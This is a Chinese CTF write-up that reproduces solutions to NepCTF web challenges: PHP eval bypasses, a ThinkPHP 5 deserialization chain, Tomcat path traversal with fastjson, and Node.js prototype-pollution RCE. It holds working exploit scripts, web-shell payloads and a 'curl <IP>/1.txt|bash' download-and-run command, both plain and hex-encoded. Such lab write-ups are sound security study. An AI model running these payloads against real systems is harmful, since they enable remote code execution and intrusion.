NepCTF 欢乐个人赛
前言
因为比赛那段时间在忙培训的事,没怎么看题,做了几个水题。正好WP出来了,环境也开着。就复现一下。学到的东西还是挺多的。记录一下
little trick
题目源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$nep = $_GET['nep'];
$len = $_GET['len'];
if(intval($len)<8 && strlen($nep)<13){
eval(substr($nep,0,$len));
}else{
die('too long!');
}
?>
这道题有多种解,我觉得都值得记录一下。
我的解法
?nep=`$_GET[1]`;;&len=-1&1=curl 47.97.123.81/1.txt|bash
substr在len为-1时,会截取出去最后一个字符的所有字符。于是绕过了8个字符的限制。
预期解法
先给出一个demo
<?php
$nep = "`$nep`;>cat";
`$nep`;
# PHP Notice: Undefined variable:
这样子,会把$nep变量字符串当作命令来执行。所以可以执行>cat
?nep=`$nep`;ls>z&len=7 //将ls的内容写入到z文件中,然后可以通过url访问z
?nep=`$nep`;>cat&len=7 //写一个名为cat的空文件
?nep=`$nep`;*>z&len=7
//通配符*,Linux会把第一个列出的文件当作命令,剩下的当作参数。此时再访问z就有flag了
另一种解法
网上可以搜到的一种解法。
# -*- coding: UTF-8 -*-
import requests
p = r'''>hp
>1.p\\
>d\>\\
>\ -\\
>e64\\
>bas\\
>7\|\\
>XSk\\
>Fsx\\
>dFV\\
>kX0\\
>bCg\\
>XZh\\
>AgZ\\
>waH\\
>PD9\\
>o\ \\
>ech\\
ls -t>0
sh 0'''
url = "http://59064ae7-02cc-4cd4-ab36-ecbdf0b9cd3a.node1.hackingfor.fun/1b5337d0c8ad813197b506146d8d503d//?nep={}&len=-1"
print("[+]start attack!!!")
for i in p.split('\n'):
print(i)
payload = '`' + i.strip() + '`;;'
print("[*]" + url.format(payload))
requests.get(url.format(payload))
就得到了一个1.php的shell
<?php eval($_GET[1]);
bbxhh_revenge
做题的时候直接phpinfo梭出来了,来看看预期解
打开靶机,发现是个黑页,每个IP只能访问一次,之后就被ban了。需要不停的更换代理。预期解用的是腾讯云函数。因为实际意义不大就不复现了。直接采用换代理的方式。
后面传参数都没什么意思,主要看最后一步:
<?php
function waf($s)
{
return preg_replace('/sys|exec|sh|flag|pass|file|open|dir|2333|;|#|\/\/|>/i', "NepnEpneP", $s);
}
if (isset($_GET['a'])) {
$_ = waf($_GET['a']);
$__ = waf($_GET['b']);
$a = new $_($__);
} else {
$a = new Error('?');
}
if (isset($_GET['c']) && isset($_GET['d'])) {
$c = waf($_GET['c']);
$d = waf($_GET['d']);
eval("\\$a->$c($d);");
} else {
$c = "getMessage";
$d = "";
eval("echo \\$a->$c($d);");
}
预期解
考察了php的原生反射机制
https://www.php.net/manual/zh/book.reflection.php
使用 ReflectionFunction
类并调用其 invokeArgs
方法即可执行 php 函数
详细请看文档:
https://www.php.net/manual/zh/reflectionfunction.invokeargs.php
这样就执行了ReflectionFunction::invokeArgs
。执行的方法为call_user_func
参数为array('assert','show_source('/flag')')
读取到了flag
payload
?a=ReflectionFunction&b=call_user_func&c=invokeArgs&d=array('assert','s'.'how_source(\'/f\'.\'lag\')')
总结
这里的assert
不可被eval
代替,其实eval
并不是一个函数,而是一个语言构造器。不能被call_user_func
调用
https://www.php.net/manual/zh/function.eval.php
assert
在高版本的php已经失效。题目环境恰好为低版本
梦里花开牡丹亭
主要考察的是php原生类的利用
参考了https://threezh1.com/2019/10/04/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9B%E9%98%B6%E5%AD%A6%E4%B9%A0%E4%B8%8E%E6%80%BB%E7%BB%93/#%E5%8E%9F%E7%94%9F%E7%B1%BB%E5%BA%8F%E5%88%97%E5%8C%96-ZipArchive-open
调用ZipArchive::open
函数,参数为ZIPARCHIVE::OVERWRITE,waf.txt
就可以删除文件。
<?php
class Game
{
public $username="admin";
public $password="admin";
public $choice;
public $register;
public $file;
public $filename="waf.txt";
public $content=ZipArchive::OVERWRITE;
public function __construct($register)
{
$this->register=$register;
$this->file=new ZipArchive();
}
}
class login
{
public $file;
public $filename;
public $content;
public function __construct($file, $filename, $content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
}
class register
{
}
class Open
{
}
$a= new Game("admin");
echo serialize($a);
echo base64_encode(serialize($a));
然后就可以命令执行了
是长度小于10的命令执行
php /flag
n\l /flag
我当时用的是n\l /flag
<?php
class Game
{
public $username="admin";
public $password="admin";
public $choice;
public $register;
public $file;
public $filename="shell";
public $content="n\l /flag";
public function __construct($register)
{
$this->register=$register;
$this->file=new Open();
}
}
class login
{
public $file;
public $filename;
public $content;
public function __construct($file, $filename, $content)
{
$this->file=$file;
$this->filename=$filename;
$this->content=$content;
}
}
class register
{
}
class Open
{
}
$a= new Game("admin");
echo base64_encode(serialize($a));
faka_revenge
tp5 rce+反序列化
通用的payload可以用
_method=__construct&filter[]=passthru&method=get&get[]=whoami
预期解用的是
_method=__construct&filter[]=unserialize&method=get&get[]=xxxxxx
先在本地搭一个,给了sql文件,导入到数据库,再改一下sql配置文件就可以了application/database.php
试了很久,最后发现只有官方wp那个链子,以及RCE姿势能打通,其他情况都不行。
再跟一边TP5太耗费时间了,贴两个官方payload吧。
官方EXP
<?php
namespace think\cache\driver; #File
class File
{
protected $options = [];
protected $tag;
function __construct()
{
$this->options = [
'expire' => 0,
'cache_subdir' => false,
'prefix' => '',
// 'path' => './static/runtime/',
'path' => './static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',
// 'path' => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php',
// 这里注意runtime后面加一个/才表示目录,创建目录
'data_compress' => false,
];
$this->tag = true;
}
}
namespace think\session\driver; #Memcached
use think\cache\driver\File;
class Memcached
{
protected $handler = null;
function __construct()
{
$this->handler = new File(); //目的调用File->set()
}
}
namespace think\model\relation;
class HasOne
{
protected $bindAttr = [];
protected $model = [];
function __construct()
{
$this->bindAttr = ["no", "123"];
$this->model = 'think\console\Output';
}
}
namespace think\console; #Output
use think\session\driver\Memcached;
class Output
{
private $handle = null;
protected $styles = [];
function __construct()
{
$this->handle = new Memcached(); //目的调用其write()
$this->styles = ['getAttr'];
}
}
namespace think\db;#Query
use think\console\Output;
class Query{
protected $model;
function __construct(){
$this->model = new Output();
}
}
namespace think;
use think\model\relation\HasOne;
use think\console\Output;
use think\db\Query;
abstract class Model
{
protected $append = [];
protected $error;
public $parent; #修改处
protected $selfRelation;
protected $query;
function __construct()
{
$this->parent = new Output(); #Output对象,目的是调用__call()
$this->append = ['getError'];
$this->error = new HasOne(); //Relation子类,且有getBindAttr()
$this->selfRelation = false; //isSelfRelation()
$this->query = new Query();
}
}
namespace think\model;
use think\Model;
class Pivot extends Model{
# Model是抽象类,不能实例化,只能通过子类Pivot来继承。
}
namespace think\process\pipes;
use think\Model\Pivot;
class Windows
{
function __construct()
{
$this->files = [new Pivot()];
}
}
$a = new Windows();
echo urlencode(serialize($a));
官方py脚本
#coding:utf-8
import requests
from urllib.parse import unquote,quote
proxies = {
'http' : '127.0.0.1:8080'
}
def mkdir1(url):
payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A17%3A%22.%2Fstatic%2Fruntime%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
res2 = requests.get(url + '/static/runtime/',cookies = cookies,headers = headers)
if(res2.status_code == 403):
print('[+] ./static/runtime目录创建成功')
def mkdir2(url):
payload1 = "O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A61%3A%22.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2F%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D"
payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/',cookies = cookies,headers = headers)
if(res2.status_code == 403):
print('[+] ./static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/目录创建成功')
def getshell(url):
payload1 = 'O%3A27%3A%22think%5Cprocess%5Cpipes%5CWindows%22%3A1%3A%7Bs%3A5%3A%22files%22%3Ba%3A1%3A%7Bi%3A0%3BO%3A17%3A%22think%5Cmodel%5CPivot%22%3A5%3A%7Bs%3A9%3A%22%00%2A%00append%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A8%3A%22getError%22%3B%7Ds%3A8%3A%22%00%2A%00error%22%3BO%3A27%3A%22think%5Cmodel%5Crelation%5CHasOne%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00bindAttr%22%3Ba%3A2%3A%7Bi%3A0%3Bs%3A2%3A%22no%22%3Bi%3A1%3Bs%3A3%3A%22123%22%3B%7Ds%3A8%3A%22%00%2A%00model%22%3Bs%3A20%3A%22think%5Cconsole%5COutput%22%3B%7Ds%3A6%3A%22parent%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7Ds%3A15%3A%22%00%2A%00selfRelation%22%3Bb%3A0%3Bs%3A8%3A%22%00%2A%00query%22%3BO%3A14%3A%22think%5Cdb%5CQuery%22%3A1%3A%7Bs%3A8%3A%22%00%2A%00model%22%3BO%3A20%3A%22think%5Cconsole%5COutput%22%3A2%3A%7Bs%3A28%3A%22%00think%5Cconsole%5COutput%00handle%22%3BO%3A30%3A%22think%5Csession%5Cdriver%5CMemcached%22%3A1%3A%7Bs%3A10%3A%22%00%2A%00handler%22%3BO%3A23%3A%22think%5Ccache%5Cdriver%5CFile%22%3A2%3A%7Bs%3A10%3A%22%00%2A%00options%22%3Ba%3A5%3A%7Bs%3A6%3A%22expire%22%3Bi%3A0%3Bs%3A12%3A%22cache_subdir%22%3Bb%3A0%3Bs%3A6%3A%22prefix%22%3Bs%3A0%3A%22%22%3Bs%3A4%3A%22path%22%3Bs%3A136%3A%22php%3A%2F%2Ffilter%2Fconvert.iconv.utf-8.utf-7%7Cconvert.base64-decode%2Fresource%3D.%2Fstatic%2Fruntime%2FaaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g%2Fa.php%22%3Bs%3A13%3A%22data_compress%22%3Bb%3A0%3B%7Ds%3A6%3A%22%00%2A%00tag%22%3Bb%3A1%3B%7D%7Ds%3A9%3A%22%00%2A%00styles%22%3Ba%3A1%3A%7Bi%3A0%3Bs%3A7%3A%22getAttr%22%3B%7D%7D%7D%7D%7D%7D'
payload2 = '_method=__construct&filter[]=unserialize&server[]=phpinfo&get[]={}'.format(payload1)
res1 = requests.post(url,data = payload2,cookies = cookies,headers = headers)
res2 = requests.get(url + '/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php',cookies = cookies,headers = headers)
if(res2.status_code == 200):
print('[+] shell写入成功')
print('[+] shell地址为:http://ip/static/runtime/aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/a.php3b58a9545013e88c7186db11bb158c44.php')
if __name__ == '__main__':
headers = {
'Content-Type' : 'application/x-www-form-urlencoded'
}
cookies = {
'freeze_money_tip' : '1',
's7466e88d' : 'enkfhrvocvpqhdj7q68ipg17c5'
}
url = 'http://7f7c1174-5fbb-4476-9e3d-b42bd8069bb6.node5.hackingfor.fun/'
# shell密码:ccc
mkdir1(url)
mkdir2(url)
getshell(url)
https://www.zhihuifly.com/t/topic/3175
Easy_Tomcat
这个题,前几天VNCTF考过。。fastjson的洞
注册的时候可以选择头像
这里有两个waf
第一必须以static/img开头,第二只能两层目录穿越。
这样可以读到web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<servlet>
<servlet-name>LoginServlet</servlet-name>
<servlet-class>javademo.LoginServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>RegisterServlet</servlet-name>
<servlet-class>javademo.RegisterServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>AdminServlet</servlet-name>
<servlet-class>javademo.AdminServlet</servlet-class>
</servlet>
<servlet>
<servlet-name>InitServlet</servlet-name>
<servlet-class>javademo.InitServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>LoginServlet</servlet-name>
<url-pattern>/LoginServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>RegisterServlet</servlet-name>
<url-pattern>/RegisterServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>AdminServlet</servlet-name>
<url-pattern>/AdminServlet</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>InitServlet</servlet-name>
<url-pattern>/InitServlet</url-pattern>
</servlet-mapping>
</web-app>
可以读到一些Servlet
接着就是读这些Servlet
写过jsp的人都知道class文件存在哪里
根据这一段
<servlet>
<servlet-name>InitServlet</servlet-name>
<servlet-class>javademo.InitServlet</servlet-class>
<load-on-startup>1</load-on-startup>
</servlet>
static/img/../../WEB-INF/classes/javademo/InitServlet.class
反编译一下得到InitServlet.java
package javademo;
import java.util.ArrayList;
import javademo.User;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
public class InitServlet extends HttpServlet {
public void init() throws ServletException {
ArrayList list = new ArrayList();
User admin_user = new User();
admin_user.setUsername("admin");
admin_user.setPassword("no_one_knows_my_password_75767388428345");
list.add(admin_user);
this.getServletContext().setAttribute("list", list);
}
}
得到账号密码。
进去之后删除时抓个包,发现是json格式的数据
admin_action={"username":"1","action":"delete"}
于是想到前几天VNCTF做过的fastjson漏洞。
一模一样的步骤和方法就能打出来,详细请看
http://www.yang99.top/index.php/archives/40/#realezjvav
gamejs
前端是一个游戏,查看源代码之后有源码
var opn = require('opn');
var express = require('express');
var app = express();
var path = require('path');
var bodyParser = require('body-parser');
var highestScore = 40000;
var FUNCFLAG = '_$$ND_FUNC$$_';
var serialize_banner = '{"banner":"好,很有精神!"}';
var flag = {"flag":""} // flag是啥来着?记不清了。
function Record() {
this.lastScore = 0;
this.maxScore = 0;
this.lastTime = null;
}
var validCode = function (func_code){
let validInput = /subprocess|mainModule|from|buffer|process|child_process|main|require|exec|this|eval|while|for|function|hex|char|base64|"|'|\[|\+|\*/ig;
return !validInput.test(func_code);
};
var validInput = function (input) {
let validInput = /subprocess|mainModule|from|process|child_process|main|require|exec|this|function|buffer/ig;
ins = serialize(input);
return !validInput.test(ins);
};
var merge = function (target, source) {
try {
for (let key in source) {
if (typeof source[key] == 'object') {
merge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
catch (e) {
console.log(e);
}
};
var serialize = function (obj, ignoreNativeFunc, outputObj, cache, path) {
path = path || '$';
cache = cache || {};
cache[path] = obj;
outputObj = outputObj || {};
if (typeof obj === 'string') {
return JSON.stringify(obj);
}
var key;
for (key in obj) {
if (obj.hasOwnProperty(key)) {
if (typeof obj[key] === 'function') {
var funcStr = obj[key].toString();
outputObj[key] = FUNCFLAG + funcStr;
} else {
outputObj[key] = obj[key];
}
}
}
return JSON.stringify(outputObj);
};
var unserialize = function(obj) {
obj = JSON.parse(obj);
if (typeof obj === 'string') {
return obj;
}
var key;
for(key in obj) {
if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
var func_code=obj[key].substring(FUNCFLAG.length);
if (validCode(func_code)){
var d = '(' + func_code + ')';
obj[key] = eval(d);
}
}
}
}
return obj;
};
app.use(bodyParser());
app.use(bodyParser.json());
app.use(express.static(path.join(__dirname, 'views')));
app.use(function (req, res, next) {
if (validInput(req.body)) {
next();
} else {
res.status(403).send('Hacker!!!');
}
});
async function index(req, res) {
res.sendFile(path.resolve(__dirname, 'static/index.html'));
}
async function record(req, res, next) {
new Promise(function (resolve, reject) {
var record = new Record();
var score = req.body.score;
if (score.length < String(highestScore).length) {
merge(record, {
lastScore: score,
maxScore: Math.max(parseInt(score),record.maxScore),
lastTime: new Date().toString()
});
highestScore = highestScore > parseInt(score) ? highestScore : parseInt(score);
if ((score - highestScore) < 0) {
var banner = "不好,没有精神!";
} else {
var banner = unserialize(serialize_banner).banner;
}
}
res.json({
banner: banner,
record: record
});
}).catch(function (err) {
next(err)
})
}
app.post('/record', record);
app.get('/', index);
app.get('/source', function (req, res) {
opn('app.js').then(() => {
res.sendFile(path.join(__dirname, 'app.js'));
});
})
app.use(function (err, req, res, next) {
console.log(err.stack);
res.status(500).send('Some thing broke!')
});
app.listen('3000');
简单审计发现了比较关键的merge
函数unserialize
函数。就比较明确了
首先第一层if判断score.length < String(highestScore).length)
关于length的trick,这个是可以直接绕的
{"score":{"length":1}}
第二层ifif ((score - highestScore) < 0)
测试一下发现对象减去数组为nan
nan
是小于0的
console.log({"score":{"length":1}}-400)
console.log({"score":{"length":1}}-400<0)
NaN
false
绕过去之后发现
var banner = unserialize(serialize_banner).banner;
这里serialize_banner
是固定的。尝试污染。
在序列化之前有一个merge
函数。
用这个payload可以污染
{"score": {"__proto__":{"__proto__":{"asd":"1"}},"length":1}}
污染两次的原因是record.__proto__
并不是object,record.__proto__.__proto__
才是。
record.__proto__
其实也是指向Record.prototype
防止忘记,来点demo
function Record() {
this.lastScore = 0;
this.maxScore = 0;
this.lastTime = null;
}
var record = new Record();
console.log(record.__proto__)
console.log(record.__proto__.__proto__)
console.log(record.constructor)
console.log(record.constructor.constructor)
console.log(record.constructor.constructor())
console.log(Record)
console.log(Record.prototype)
输出
Record {}
{}
[Function: Record]
[Function: Function]
[Function: anonymous]
[Function: Record]
Record {}
打进去发现原型链已经被污染。
这样就可以过第三个if了if(obj[key].indexOf(FUNCFLAG) === 0)
进入eval
函数
这里因为没有过滤反斜杠,于是十六进制就随便绕了
demo
eval('\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x72\x65\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x61\x6c\x63\x22\x29')
payload
{"score": {"__proto__":{"__proto__":{"asd":"_$$ND_FUNC$$_``.constructor.constructor(`\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x22\\x29\\x2e\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63\\x28\\x22\\x63\\x61\\x6c\\x63\\x22\\x29`)()"}},"length":1}}
VM中
(``.constructor.constructor(`\x70\x72\x6f\x63\x65\x73\x73\x2e\x6d\x61\x69\x6e\x4d\x6f\x64\x75\x6c\x65\x2e\x72\x65\x71\x75\x69\x72\x65\x28\x22\x63\x68\x69\x6c\x64\x5f\x70\x72\x6f\x63\x65\x73\x73\x22\x29\x2e\x65\x78\x65\x63\x53\x79\x6e\x63\x28\x22\x63\x61\x6c\x63\x22\x29`)())
(function anonymous(
) {
process.mainModule.require("child_process").execSync("calc")
})
本地调试弹出了计算器。成功RCE
远程弹shell,calc换成弹shell命令。
{"score": {"__proto__":{"__proto__":{"asd":"_$$ND_FUNC$$_``.constructor.constructor(`\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x2e\\x6d\\x61\\x69\\x6e\\x4d\\x6f\\x64\\x75\\x6c\\x65\\x2e\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x28\\x22\\x63\\x68\\x69\\x6c\\x64\\x5f\\x70\\x72\\x6f\\x63\\x65\\x73\\x73\\x22\\x29\\x2e\\x65\\x78\\x65\\x63\\x53\\x79\\x6e\\x63\\x28\\x22\\x63\\x75\\x72\\x6c\\x20\\x34\\x37\\x2e\\x39\\x37\\x2e\\x31\\x32\\x33\\x2e\\x38\\x31\\x2f\\x31\\x2e\\x74\\x78\\x74\\x7c\\x62\\x61\\x73\\x68\\x22\\x29`)()"}},"length":1}}
成功getshell